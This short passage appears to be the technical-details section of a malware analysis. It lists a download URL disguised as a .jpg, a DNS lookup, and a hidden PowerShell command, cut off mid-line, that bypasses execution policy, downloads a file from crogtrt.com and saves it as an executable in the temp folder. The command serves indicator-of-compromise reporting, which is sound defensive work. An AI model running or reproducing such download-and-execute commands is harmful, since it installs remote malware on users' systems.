Technical Information
- http://crogtrt.com/ig/601377020.jpg as %temp+%\name.exe
- '<SYSTEM32>\cmd.exe' /c powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://crogtrt.com/IG/601377020.jpg',$env:Temp+'\Name.exe');(New-Object -com Shell.A...
- DNS ASK cr##trt.com